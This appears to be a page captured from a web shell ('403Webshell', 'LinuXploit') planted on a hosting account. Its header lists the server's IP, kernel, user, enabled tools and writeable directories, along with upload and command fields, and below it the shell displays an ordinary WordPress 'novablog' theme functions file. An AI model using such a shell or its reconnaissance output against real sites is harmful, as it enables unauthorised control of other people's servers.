403Webshell
Server IP : 213.186.33.4  /  Your IP : 216.73.216.222
Web Server : Apache
System : Linux webm005.cluster103.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
User : karinebmkh ( 644538)
PHP Version : 8.4.22
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/karinebmkh/www2/wp-content/themes/novablog/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/karinebmkh/www2/wp-content/themes/novablog/includes/theme-function.php
<?php
if ( ! function_exists( 'novablog_is_touch' ) ) {

	function novablog_is_touch( $check = 'all' ) {
		static $novablog_mobile_detect;

		if ( ! isset( $novablog_mobile_detect ) ) {
			if ( ! class_exists( 'Novablog_Mobile_Detect' ) ) {
				require_once 'main-menu/class-novablog-mobile-detect.php';
			}
			$detect = new novablog_Mobile_Detect;
			$is_tablet = $detect->isTablet();
			$is_mobile = $detect->isMobile();
			$novablog_mobile_detect = array(
				'phone' => $is_mobile && ! $is_tablet,
				'tablet' =>  $is_tablet,
				'all' => $is_mobile,
			);
		}

		return $novablog_mobile_detect[$check];
	}
}

if ( ! function_exists( 'novablog_allowedtags' ) ) :
function novablog_allowedtags() {
$excerpt_allowed_tags = novablog_getVariable( 'blog_excerpt_allowed_tags' ) ? novablog_getVariable( 'blog_excerpt_allowed_tags' ) : '<br>,<em>,<i>,<ul>,<ol>,<li>,<a>,<p>,<img>,<video>,<audio>,<div>,<blockquote>,<strong>';

        return $excerpt_allowed_tags; 
    }
endif;
if ( ! function_exists( 'novablog_custom_wp_trim_excerpt' ) ) : 

    function novablog_custom_wp_trim_excerpt($novablog_excerpt) {
    $raw_excerpt = $novablog_excerpt;
        if ( '' == $novablog_excerpt ) {

            $novablog_excerpt = get_the_content('');
            $novablog_excerpt = apply_filters('the_content', $novablog_excerpt);
            $novablog_excerpt = str_replace(']]>', ']]&gt;', $novablog_excerpt);
            $novablog_excerpt = strip_tags($novablog_excerpt, novablog_allowedtags()); 

			$blog_excerpt = novablog_getVariable( 'blog_excerpt_count' );
			
                $excerpt_word_count = $blog_excerpt;
                $excerpt_length = apply_filters('excerpt_length', intval($excerpt_word_count)); 
                $tokens = array();
                $excerptOutput = '';
                $count = 0;

                preg_match_all('/(<[^>]+>|[^<>\s]+)\s*/u', $novablog_excerpt, $tokens);

                foreach ($tokens[0] as $token) { 

                    if ($count >= $excerpt_length) { 
                        $excerptOutput .= trim($token);
                        break;
                    }

                    $count++;

                    $excerptOutput .= $token;
                }

            $novablog_excerpt = trim(force_balance_tags($excerptOutput.' ...'));

            return $novablog_excerpt;   

        }
        return apply_filters('novablog_custom_wp_trim_excerpt', $novablog_excerpt, $raw_excerpt);
    }

endif; 

remove_filter('get_the_excerpt', 'wp_trim_excerpt');
add_filter('get_the_excerpt', 'novablog_custom_wp_trim_excerpt'); 

function novablog_string_limit_char($hs_excerpt, $hs_substr=0)
{
$hs_excerpt = preg_replace("~(?:\[/?)[^/\]]+/?\]~s", '', $hs_excerpt);
	$hs_string = strip_tags(str_replace('...', '...', $hs_excerpt));
	if ($hs_substr>0) {
		$hs_string = substr($hs_string, 0, $hs_substr);
	}
	return $hs_string;
		}

function novablog_limit_text($content = false, $length) {
 
if($content == false)
return false;
 
$content = preg_replace("~(?:\[/?)[^/\]]+/?\]~s", '', $content);
$content = strip_tags($content);
$excerpt_length = $length;
$words = explode(' ', $content, $excerpt_length + 1);
 
if(count($words) > $excerpt_length) :
array_pop($words);
array_push($words, '...', '');
endif;
$content = implode(' ', $words);
$content = '<p>' . esc_html($content) . '</p>';
 
return $content;
}
if(!function_exists('novablog_next_page')) {
  function novablog_next_page($max_num_pages = 0) {

    if ($max_num_pages === false) {
      global $wp_query;
      $max_num_pages = $wp_query->max_num_pages;
    }

    if ($max_num_pages > max(1, get_query_var('paged'))) {

      return get_pagenum_link(max(1, get_query_var('paged')) + 1);
    }
    return false;
  }
}

function novablog_remove_invalid_tags($hs_str, $tags) 
{
    foreach($tags as $tag)
    {
    	$hs_str = preg_replace('#^<\/'.$tag.'>|<'.$tag.'>$#', '', trim($hs_str));
    }

    return $hs_str;
}

function novablog_gener_random($length){

	srand((double)microtime()*1000000 );
	
	$hs_random_id = "";
	
	$char_list = "abcdefghijklmnopqrstuvwxyz";
	
	for($i = 0; $i < $length; $i++) {
		$hs_random_id .= substr($char_list,(rand()%(strlen($char_list))), 1);
	}
	
	return $hs_random_id;
}


if ( !function_exists('novablog_fb_AddThumbColumn') && function_exists('add_theme_support') ) {

	add_theme_support('post-thumbnails', array( 'post', 'page' ) );
	function novablog_fb_AddThumbColumn($cols) {
	$cols['thumbnail'] = esc_html__('Thumbnail', 'novablog');
	return $cols;
}
function novablog_fb_AddThumbValue($column_name, $post_id) {
	$hs_width = (int) 35;
	$hs_height = (int) 35;
	if ( 'thumbnail' == $column_name ) {
		
		$thumbnail_id = get_post_meta( $post_id, '_thumbnail_id', true );
	
		$attachments = get_children( array('post_parent' => $post_id, 'post_type' => 'attachment', 'post_mime_type' => 'image') );
		if ($thumbnail_id)
			$thumb = wp_get_attachment_image( $thumbnail_id, array($hs_width, $hs_height), true );
		elseif ($attachments) {
			foreach ( $attachments as $attachment_id => $attachment ) {
				$thumb = wp_get_attachment_image( $attachment_id, array($hs_width, $hs_height), true );
			}
		}
		if ( isset($thumb) && $thumb ) {
			print $thumb;
		} else {
			echo esc_html__('None', 'novablog');
		}
	}
}
// for posts
add_filter( 'manage_posts_columns', 'novablog_fb_AddThumbColumn' );
add_action( 'manage_posts_custom_column', 'novablog_fb_AddThumbValue', 10, 2 );
// for pages
add_filter( 'manage_pages_columns', 'novablog_fb_AddThumbColumn' );
add_action( 'manage_pages_custom_column', 'novablog_fb_AddThumbValue', 10, 2 );
}


/*-----------------------------------------------------------------------------------*/
/*	Pagination
/*-----------------------------------------------------------------------------------*/
if ( !function_exists( 'novablog_hs_pagination' ) ) {
	function novablog_hs_pagination( $pages = '', $range = 1 ) {
		$showitems = ($range * 2) + 1;

		global $wp_query;
		$paged = (int) $wp_query->query_vars['paged'];
		if( empty($paged) || $paged == 0 ) $paged = 1;

		if ( $pages == '' ) {
			$pages = $wp_query->max_num_pages;
			if( !$pages ) {
				$pages = 1;
			}
		}
		if ( 1 != $pages ) {
			echo "<nav class=\"navigation pagination\" role=\"navigation\"><div class=\"nav-links\"><ul class=\"page-numbers\">";
			if ( $paged > 1 ) echo "<li class='first'><a href='".get_pagenum_link(1)."'>".theme_locals("first")."</a></li>";
			if ( $paged > 1 ) echo "<li class='prev'><a href='".get_pagenum_link($paged - 1)."'>".theme_locals("prev")."</a></li>";

			for ( $i = 1; $i <= $pages; $i++ ) {
				if (1 != $pages &&( !($i >= $paged+$range+1 || $i <= $paged-$range-1) || $pages <= $showitems )) {
					echo ($paged == $i)? "<li ><span class=\"current\">".intval($i)."</span></li>":"<li><a href='".get_pagenum_link($i)."' class=\"inactive\">".intval($i)."</a></li>";
				}
			}

			if ( $paged < $pages ) echo "<li class='next'><a href=\"".get_pagenum_link($paged + 1)."\">".theme_locals("next")."</a></li>"; 
			if ( $paged < $pages ) echo "<li class='last'><a href='".get_pagenum_link($pages)."'>".theme_locals("last")."</a></li>";
			echo "</ul></div></nav>\n";
		}
	}
}


/*-----------------------------------------------------------------------------------*/
/* Custom Comments Structure
/*-----------------------------------------------------------------------------------*/
if ( !function_exists( 'novablog_comment' ) ) {
	function novablog_comment($comment, $args, $depth) {
	     $GLOBALS['comment'] = $comment;
		 extract( $args, EXTR_SKIP );
$GLOBALS['depth'] = $depth;
?>
	   <li <?php comment_class('clearfix'); ?> id="li-comment-<?php comment_ID() ?>">

	     	<div id="comment-<?php comment_ID(); ?>" class="comment-body clearfix">
			<?php edit_comment_link(esc_html__('Edit', 'novablog')); ?>
	      		<div class="wrapper">

	  		      	<?php if ($comment->comment_approved == '0') : ?>
	  		        	<em><?php echo theme_locals("your_comment") ?></em>
	  		      	<?php endif; ?>	      	
	  		     	<div class="extra-wrap">
					
					<div class="comment-author vcard">
	  	         		<?php echo get_avatar( $comment->comment_author_email, $args['avatar_size'] ); ?>
	  	      		
					<?php printf(wp_kses_post('<h6 class="author">%1$s</h6>'), get_comment_author_link()); ?>
					<?php printf(wp_kses_post('<span class="date">%1$s</span>'), get_comment_date($args['comment_date'])); ?>
					<div class="clear"></div>
					</div>
	  		     		<?php comment_text() ?>	     	
	  		     	</div>
	  		    </div>
		     	<div class="wrapper">
				  	<div class="reply">
						
						<?php comment_reply_link( array_merge( $args, array( 'reply_text' => theme_locals("reply"), 'depth' => $depth, 'max_depth' => $args['max_depth'] ) ) ); ?>
				   	</div>
			 	</div>
	    	</div>
	<?php 
	}
}
if ( !function_exists( 'novablog_pings' ) ) {
function novablog_pings( $comment, $args, $depth ) {
	$GLOBALS['comment'] = $comment;
	extract( $args, EXTR_SKIP );
	?>
	<li <?php comment_class( empty( $args['has_children'] ) ? '' : 'parent' ) ?> id="comment-<?php comment_ID(); ?>">
		<div class="ping-body" id="div-ping-<?php comment_ID(); ?>">

			<div class="ping-author vcard">
				<div class="ping-meta-wrapper">
					<div class="ping-meta">
						<?php 
						printf( wp_kses_post( '<h6 class="fn">%1$s %2$s</h6>'), get_comment_author_link(), edit_comment_link(esc_html__('Edit', 'novablog')) );
						printf( wp_kses_post( '<span class="date">%1$s</span>'), get_comment_date($args['comment_date']) );
						?>
					</div><!-- .ping-meta -->
				</div><!-- .ping-meta-wrapper -->
			</div><!-- .ping-author -->

			<div class="ping-text">
				<?php 
				
				comment_text(); ?>
			</div><!-- .ping-text -->

		</div><!-- .ping-body -->
	
	<?php
} 
}

function novablog_pfui_admin_init() {
	$post_formats = get_theme_support('post-formats');
	if (!empty($post_formats[0]) && is_array($post_formats[0])) {
		if (in_array('gallery', $post_formats[0])) {
			add_action('save_post', 'novablog_pfui_format_gallery_save_post');
		}
	}
}
add_action('admin_init', 'novablog_pfui_admin_init');

function novablog_pfui_format_gallery_save_post($post_id) {
	if (!defined('XMLRPC_REQUEST') && isset($_POST['_format_gallery_images'])) {
		global $post;
		if( $_POST['_format_gallery_images'] !== '' ) {
			$images = array_filter(explode(',', sanitize_text_field($_POST['_format_gallery_images'])));
		} else {
			$images = array();
		}
		update_post_meta($post_id, '_format_gallery_images', $images);
	}
}

function novablog_pfui_gallery_preview() {
	if (empty($_POST['id']) || !($post_id = intval($_POST['id']))) {
		exit;
	}
	global $post;
	$post->ID = $post_id;
	ob_start();
	$html = ob_get_clean();
	header('Content-type: text/javascript');
	echo json_encode(compact('html'));
	exit;
}
add_action('wp_ajax_novablog_pfui_gallery_preview', 'novablog_pfui_gallery_preview');

function novablog_pfui_post_has_gallery($post_id = null) {
	if (empty($post_id)) {
		$post_id = get_the_ID();
	}
	$images = new WP_Query(array(
		'post_parent' => $post_id,
		'post_type' => 'attachment',
		'post_status' => 'inherit',
		'posts_per_page' => 1, // -1 to show all
		'post_mime_type' => 'image%',
		'orderby' => 'menu_order',
		'order' => 'ASC'
	));
	return (bool) $images->post_count;
}
/**
 * Edit link
 */

if ( ! function_exists( 'novablog_post_editlink' ) ) {
  function novablog_post_editlink() {
      echo edit_post_link( esc_html__( 'EDIT THIS POST', 'novablog' ), '<span class="edit-link">', '</span>' );
  }
}
/**
 * Post Category
 */

if ( ! function_exists( 'novablog_post_category' ) ) {
  function novablog_post_category( $post_id = '', $separator = ', ' ) {
    if (novablog_getVariable('post_category') != 'no') {
	echo '<div class="meta-space-top post_category"><span>';
      if ( '' !== $post_id ) {
        echo the_category( ', ', '', $post_id ); 
      } else {
        echo the_category($separator);
      }
	  echo '</span></div>';
    }
  }
}
/**
 * Post Reading Time
 */

if ( ! function_exists( 'novablog_post_reading_time' ) ) {
  function novablog_post_reading_time($tag = 'span', $compact = false) {
    if ( novablog_getVariable('reading_time') != 'no') {
      $post_content = get_post_field('post_content', get_the_ID());
      $strip_shortcodes = strip_shortcodes($post_content);
      $strip_tags = strip_tags($strip_shortcodes);
      $word_count = str_word_count($strip_tags);
      $reading_time = ceil($word_count / 250); ?>
      <<?php echo esc_attr($tag); ?> class="meta-reading-time">
        <?php if ( $compact == true ) { ?><i class="fa fa-clock-o"></i><?php } ?>
        <?php echo esc_attr($reading_time);?>
        <?php if ($compact == false ) { ?><?php esc_html_e('m read', 'novablog'); ?><?php } ?>
      </<?php echo esc_attr($tag); ?>>
    <?php }
  }
}
/**
 * Post Views 
 */

if ( ! function_exists( 'novablog_post_views' ) ) {
  function novablog_post_views($tag = 'span', $compact = false) {
    if ( function_exists('postviews_round_number') && novablog_getVariable('post_views') != 'no') { ?>
      <<?php echo esc_attr($tag); ?> class="meta-views">
        <?php if ( $compact == true ) { ?><i class="fa fa-eye"></i><?php } ?>
        <?php $postviews = intval( get_post_meta( get_the_ID(), 'views', true ) ); ?>
        <?php echo postviews_round_number($postviews); ?>
        <?php if ( $compact == false ) { ?> <?php esc_html_e('views', 'novablog'); ?><?php } ?>
      </<?php echo esc_attr($tag); ?>>
    <?php }
  }
}
/**
 * Post Author
 */

if ( ! function_exists( 'novablog_post_author' ) ) {
  function novablog_post_author($tag = 'span', $compact = false) {
    if (novablog_getVariable('post_author') != 'no') { ?>
      <<?php echo esc_attr($tag); ?> class="vcard author <?php get_the_author(); ?>">	
		<?php if ( $compact == false ) {echo get_avatar( get_the_author_meta('email'), '30' );} ?>
		<?php echo theme_locals("text_before_author"); ?>
		<em class="fn"><?php the_author_posts_link(); ?></em>
      </<?php echo esc_attr($tag); ?>> 
    <?php }
  }
}
/**
 * Post Comments
 */

if ( ! function_exists( 'novablog_post_comments' ) ) {
  function novablog_post_comments($tag = 'span', $compact = false) {
    if (novablog_getVariable('post_comment') != 'no' && comments_open()) { ?>
      <<?php echo esc_attr($tag); ?> class="post-comments">
<i class="fa fa-comment-o"></i> <?php comments_popup_link(theme_locals('no_comments'), theme_locals('comment'), theme_locals('comments'), theme_locals('comments_link'), theme_locals('comments_closed')); ?>
      </<?php echo esc_attr($tag); ?>>
    <?php }
  }
}
/**
 * Post Date
 */
if ( ! function_exists( 'novablog_post_date' ) ) :
function novablog_post_date() {
if (novablog_getVariable('post_date')=='yes' or novablog_getVariable('post_date')=='') {
	$time_string = '<time class="entry-date published updated" datetime="%1$s">%2$s</time>';
    $timeformat = novablog_getVariable('date_format') ? novablog_getVariable('date_format') : 'U';
	if ( get_the_time( $timeformat ) !== get_the_modified_time( $timeformat ) ) {
		$time_string = '<time class="entry-date published" datetime="%1$s">%2$s</time><time class="updated" datetime="%3$s">%4$s</time>';
	}
    $time_format = novablog_getVariable('date_format') ? novablog_getVariable('date_format') : '';
	$time_string = sprintf( $time_string,
		esc_attr( get_the_date( 'c' ) ),
		get_the_date($time_format),
		esc_attr( get_the_modified_date( 'c' ) ),
		get_the_modified_date($time_format)
	);

	printf( '<span class="posted-on"><span class="screen-reader-text">%1$s </span><a href="%2$s" rel="bookmark">%3$s</a></span>',
		esc_html_x( 'Posted on', 'Used before publish date.', 'novablog' ),
		esc_url( get_permalink() ),
		$time_string
	);
	}
}
endif;
/**
 * Post Meta
 */

if ( ! function_exists( 'novablog_post_meta' ) ) {
  function novablog_post_meta( $meta, $compact = false, $class = '' ) {
    if ( !empty($meta) ) {
      echo '<div class=" '. $class .'">';
      foreach ( $meta as $meta_function ) {
        $meta_function = "novablog_post_$meta_function";
        $meta_function( 'span', $compact );
      }
      echo '</div>';
    }
  }
}
/**
 * novablog_is_subcategory()
 */

if ( ! function_exists( 'novablog_is_subcategory' ) ) {
  function novablog_is_subcategory( $cat_id = null ) {

    if ( !$cat_id ) {
      $cat_id = get_query_var( 'cat' );
    }

    if ( $cat_id ) {

      $cat = get_category( $cat_id );
      if ( $cat->category_parent > 0 ) {
        return true;
      }
    }

    return false;
  }
}
/**
 * The Category Title
 */

if ( ! function_exists( 'novablog_category_title' ) ) {
  function novablog_category_title() {

    if ( is_category() ) {

      $count = count( get_categories( array('parent' => 0, 'hide_empty' => 0) ) );

      if ( $count > 1 && !novablog_is_subcategory() ) {

        $current = get_category( get_query_var('cat') );
        $current_id = $current->term_id; ?>
<div class="container"><div class="row">
                    <div class="col-md-12">
					<section class="single-title-section">
					<?php get_template_part('title'); ?>
				<?php	if ( novablog_getVariable('folio_filter') != 'none') { ?>
        <ul class="category-filter">
          <?php wp_list_categories(array('echo' => true, 'current_category' => $current_id, 'title_li' => '', 'order' => 'DESC', 'depth' => 1 )); ?>
        </ul>
		<?php } ?>
</section></div></div></div>
      <?php } else { ?>

        <div class="container"><div class="row">
                    <div class="col-md-12">
					<section class="single-title-section">
<?php get_template_part('title'); ?></section></div></div></div>

     <?php }
    }
  }
}

//Time ago
function novablog_get_novablog_time_ago() {

	$diff = novablog_time_ago_difference( get_the_time('U') );

	if ( 15 * MINUTE_IN_SECONDS > $diff ) {
		$ago_string = esc_html__( 'Just posted', 'novablog' );

	} elseif ( $isYesterday = date('Ymd', get_the_time('U')) == date('Ymd', strtotime('yesterday')) ) {
		$ago_string = esc_html__( 'Posted yesterday', 'novablog' );
	
	} elseif ( $diff < WEEK_IN_SECONDS && $diff >= DAY_IN_SECONDS ) {
		

			$ago_string = sprintf( esc_html__( 'Posted on %1$s', 'novablog' ),	esc_attr( get_the_time('l') )	);
		

	} else {
		$ago_string = sprintf( esc_html__( '%1$s ago', 'novablog' ), esc_attr( human_time_diff( get_the_time('U') ) )	);
	}

	$novablog_get_novablog_time_ago = '<time datetime="' . get_the_date( 'c' ) . '" title="' . get_the_date() . '" class="long-timestamp-ago">' . $ago_string . '</time>';

	return $novablog_get_novablog_time_ago.' '.theme_locals("text_before_author").' '.get_the_author();
}


/*
 *	Echo Timestamp
 */
function novablog_time_ago(){
	echo novablog_get_novablog_time_ago();
}

function novablog_time_ago_difference( $from, $to = '' ) {
	if ( empty( $to ) )
		$to = time();

	return $diff = (int) abs( $to - $from );
}

//fixed social networks
if ( ! function_exists( 'novablog_fixed_social_networks' ) && !novablog_is_touch() ) {
  function novablog_fixed_social_networks() {
if (novablog_getVariable('fixed_social_share')=='yes') {
echo '<div class="social-side-fixed"><ul>';

if (novablog_getVariable('fixed_facebook_url')) { 
echo '<li><a target="_blank" class="social-side-link" href="'.novablog_getVariable('fixed_facebook_url').'"><i class="hs hs-facebook"></i></a></li>';
}
if (novablog_getVariable('fixed_twitter_url')) { 
echo '<li><a target="_blank" class="social-side-link" href="'.novablog_getVariable('fixed_twitter_url').'"><i class="hs hs-twitter"></i></a></li>';
}
if (novablog_getVariable('fixed_pinterest_url')) { 
echo '<li><a target="_blank" class="social-side-link" href="'.novablog_getVariable('fixed_pinterest_url').'"><i class="hs hs-pinterest"></i></a></li>';
}
if (novablog_getVariable('fixed_instagram_url')) { 
echo '<li><a target="_blank" class="social-side-link" href="'.novablog_getVariable('fixed_instagram_url').'"><i class="hs hs-instagram"></i></a></li>';
}
if (novablog_getVariable('fixed_bloglovin_url')) { 
echo '<li><a target="_blank" class="social-side-link" href="'.novablog_getVariable('fixed_bloglovin_url').'"><i class="hs hs-bloglovin"></i></a></li>';
}
if (novablog_getVariable('fixed_rss_url')) { 
echo '<li><a target="_blank" class="social-side-link" href="'.novablog_getVariable('fixed_rss_url').'"><i class="hs hs-rss"></i></a></li>';
}
echo '</ul></div>';
}
 
 }
}

if( ! function_exists( 'novablog_is_woocommerce_active' ) ) {
	/**
	 * Checks if Woocommerce plugin is active and returns the proper value
	 */
	function novablog_is_woocommerce_active() {
		static $is_active = null;
		if(is_null($is_active)){
			$plugin = 'woocommerce/woocommerce.php';
			$network_active = false;
			if ( is_multisite() ) {
				$plugins = get_site_option( 'active_sitewide_plugins' );
			if ( isset( $plugins[$plugin] ) )
				$network_active = true;
			}
			$active_plugins = apply_filters( 'active_plugins', get_option( 'active_plugins' ) );
			$is_active = in_array( $plugin, (array) $active_plugins ) || $network_active;
		}
		return $is_active;
	}
}

/**
 * Setup menu icon functionality
 */
add_action( 'init', 'novablog_setup_menu_icons' );
function novablog_setup_menu_icons() {
	if( is_admin() ) {
		add_filter( 'wp_edit_nav_menu_walker', 'novablog_custom_edit_nav_menu_walker' );
		add_action( 'wp_nav_menu_item_custom_fields', 'novablog_add_menu_icon_option', 12, 4 );
		add_action( 'wp_update_nav_menu_item', 'novablog_update_menu_icon_option', 10, 3 );
		add_action( 'delete_post', 'novablog_remove_menu_icon_meta', 1, 3 );
	} else {
		add_filter( 'wp_nav_menu_args', 'novablog_add_menu_item_title_filter' );
		add_filter( 'wp_nav_menu', 'novablog_remove_menu_item_title_filter' );
	}
}

/**
 * Start looking for menu icons
 */
function novablog_add_menu_item_title_filter( $args ) {
	add_filter( 'the_title', 'novablog_add_menu_icon', 10, 2 );
	return $args;
}

/**
 * The menu is rendered, we longer need to look for menu icons
 */
function novablog_remove_menu_item_title_filter( $nav_menu ) {
	remove_filter( 'the_title', 'novablog_add_menu_icon', 10, 2 );
	return $nav_menu;
}

/**
 * Setup custom walker for Nav_Menu_Edit
 */
function novablog_custom_edit_nav_menu_walker( $walker ) {
	if( ! class_exists( 'Novablog_Walker_Nav_Menu_Edit' ) ) {
		include_once get_template_directory() . '/includes/class-hercules-walker-menu-edit.php';
	}

	return 'Novablog_Walker_Nav_Menu_Edit';
}

/**
 * Save the icon meta for a menu item. Also removes the meta entirely if the field is cleared.
 */
function novablog_update_menu_icon_option( $menu_id, $menu_item_db_id, $args ) {
	if( isset( $_POST['menu-item-icon'] ) && isset( $_POST['menu-item-icon'][$menu_item_db_id] ) ) {
		$meta_key = '_menu_item_icon';
		$meta_value = novablog_get_menu_icon( $menu_item_db_id );
		$menu_item_icon =  $_POST['menu-item-icon'][$menu_item_db_id];
		$new_meta_value = sanitize_text_field( $menu_item_icon );

		if ( $new_meta_value && '' == $meta_value )
			add_post_meta( $menu_item_db_id, $meta_key, $new_meta_value, true );
		elseif ( $new_meta_value && $new_meta_value != $meta_value )
			update_post_meta( $menu_item_db_id, $meta_key, $new_meta_value );
		elseif ( '' == $new_meta_value && $meta_value )
			delete_post_meta( $menu_item_db_id, $meta_key, $meta_value );
	}
}

/**
 * Clean up the icon meta field when a menu item is deleted
 */
function novablog_remove_menu_icon_meta( $post_id ) {
	if( is_nav_menu_item( $post_id ) ) {
		delete_post_meta( $post_id, '_menu_item_icon' );
	}
}

/**
 * Display the icon picker for menu items in the backend
 */
function novablog_add_menu_icon_option( $item_id, $item, $depth, $args ) {
	$saved_meta = novablog_get_menu_icon( $item_id );
?>
	<p class="field-icon description description-thin">
		<label for="edit-menu-item-icon-<?php echo esc_attr( $item_id ); ?>">
			<?php esc_html_e( 'Enter Icon Code', 'novablog' ) ?><br/>
			<input type="text" name="menu-item-icon[<?php echo esc_attr( $item_id ); ?>]" id="edit-menu-item-icon-<?php echo esc_attr( $item_id ) ?>" size="8" class="edit-menu-item-icon novablog_field_icon" value="<?php echo esc_attr( $saved_meta ); ?>">
		</label>
	</p>
<?php }

/**
 * Returns the icon name chosen for a given menu item
 */
function novablog_get_menu_icon( $item_id ) {
	return get_post_meta( $item_id, '_menu_item_icon', true );
}

/**
 * Append icon to a menu item
 */
function novablog_add_menu_icon( $title, $id = '' ) {
	if ( '' != $id ) {
		if ( $icon = novablog_get_menu_icon( $id ) ) {
			$title = '<i class="fa ' . esc_attr( novablog_get_fa_icon_classname( $icon ) ) . '"></i> ' . $title;
		}
	}
	return $title;
}
function novablog_get_fa_icon_classname( $icon ) {
	if( ! ( substr( $icon, 0, 3 ) == 'fa-' ) ) {
		$icon = 'fa-' . $icon;
	}

	return $icon;
}


if(!function_exists('novablog_promo_areaslides')) {
function novablog_promo_areaslides() {
global $novablog_options;
if (isset($novablog_options['promo-areaslides']) && !empty($novablog_options['promo-areaslides'])) {
	
$number_of_posts = count($novablog_options['promo-areaslides']);
if($number_of_posts > 4) {$autoplay = 'true';}else{$autoplay = 'false';}
        $post_type = 'promo';
		$rtl_slide = '';
		$random_ID          = uniqid();
		$items_desktop   = 4;
		$items_tablet   = 3;
		$items_mobile   = 2;
		$margin   = 30;
		$auto_play_timeout  = 5000;
		$display_navs       = 'false';
		$display_pagination = 'true';
		$img_width = novablog_getVariable('promo_image_width') ? novablog_getVariable('promo_image_width') : 270;
		$img_height = novablog_getVariable('promo_image_height') ? novablog_getVariable('promo_image_height') : 350;

echo '<div class="carousel-wrap slideshow promo">';
echo '<div id="owl-carousel-' . esc_attr($random_ID) . '" class="owl-carousel-' . esc_attr($post_type) . ' owl-carousel" data-center="false" data-howmany="' .esc_attr($number_of_posts). '" data-margin="' . esc_attr($margin) . '" data-items="' . esc_attr($items_desktop) . '" data-tablet="' . esc_attr($items_tablet) . '" data-mobile="' . esc_attr($items_mobile) . '"  data-auto-play="' . esc_attr($autoplay) . '" data-auto-play-timeout="' . esc_attr($auto_play_timeout) . '" data-nav="' . esc_attr($display_navs) . '" data-rtl="'.esc_attr($rtl_slide).'" data-pagination="' . esc_attr($display_pagination) . '">';
 
foreach($novablog_options['promo-areaslides'] as $slide) {
$img = aq_resize( $slide['image'], $img_width, $img_height, true, true, true ); 
				
echo '<div class="owl-slide cover">';
echo '<img src="'.esc_url($img).'" width="'.esc_attr($img_width).'" height="'.esc_attr($img_height).'" alt="'.esc_attr($slide['title']).'" />';
echo '<div class="cover-wrapper"><div class="cover-content">';
echo '<h4>'.esc_attr($slide['title']).'</h4>';

echo '</div></div><a href="'.esc_url($slide['url']).'" class="cover-link"></a>';
echo '</div>';
}
echo '</div></div>';
 } 
}
}


//link type post bg

function novablog_link_format_post_bg() {
global $post;
$thumb = get_post_thumbnail_id();
$img_url = wp_get_attachment_url( $thumb,'novablog-standard-large'); //get img URL
if($img_url){
echo 'style="background-image: url('.esc_url($img_url).');"';
}}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit